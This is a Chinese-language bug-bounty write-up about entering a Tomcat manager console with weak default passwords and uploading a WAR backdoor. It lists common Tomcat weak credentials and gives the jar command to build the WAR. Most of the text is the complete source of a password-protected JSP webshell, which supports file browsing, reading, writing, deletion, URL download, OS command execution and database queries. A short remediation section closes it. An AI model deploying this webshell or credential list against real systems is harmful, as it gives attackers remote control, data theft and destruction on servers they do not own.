src挖掘之Tomcat未授权弱口令+war后门上传
1.前言
今天在挖洞的过程中又一次碰到/manager/html页面，本以为还是照常的登进不去，但还是不死心的试了一下Tomcat的弱密码，没想到直接登录进去了。于是上传war后门，蚁剑成功连接，看了一下有网站权重，直接交了补天，给了4库币。
2.漏洞详情
Tomcat7+支持在后台部署war文件，可以直接将webshell部署到web目录下。当然，有个前提条件，那就是需要能登录后台，且对应用户有相应权限
Tomcat7 +权限分为：
manager（后台管理）
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限，和status权限
manager-jmx 拥有jmx权限，和status权限
host-manager（虚拟主机管理）
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
Tomcat常见弱口令
- 用户名：admin tomcat manager
- 密码：admin 123456 tomcat s3cret manager admin123
3.漏洞挖掘过程
访问/manager/html页面
使用弱口令tomcat,tomcat直接进入控制台
部署war包,上传之后会自动解压
命令：需要java环境
jar -cvf shell.war “x.jsp” //x.jsp为jsp一句话木马
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
部署之后访问 URL+/shell/x.jsp
出现这个界面表示上传成功，蚁剑连接
成功拿到shell.
4.修复方案：
1、在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户，该用户只能拥有一组最小权限（例如不允许远程登录）。
2、增加对于本地和基于证书的身份验证，部署账户锁定机制（对于集中式认证，目录服务也要做相应配置）。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。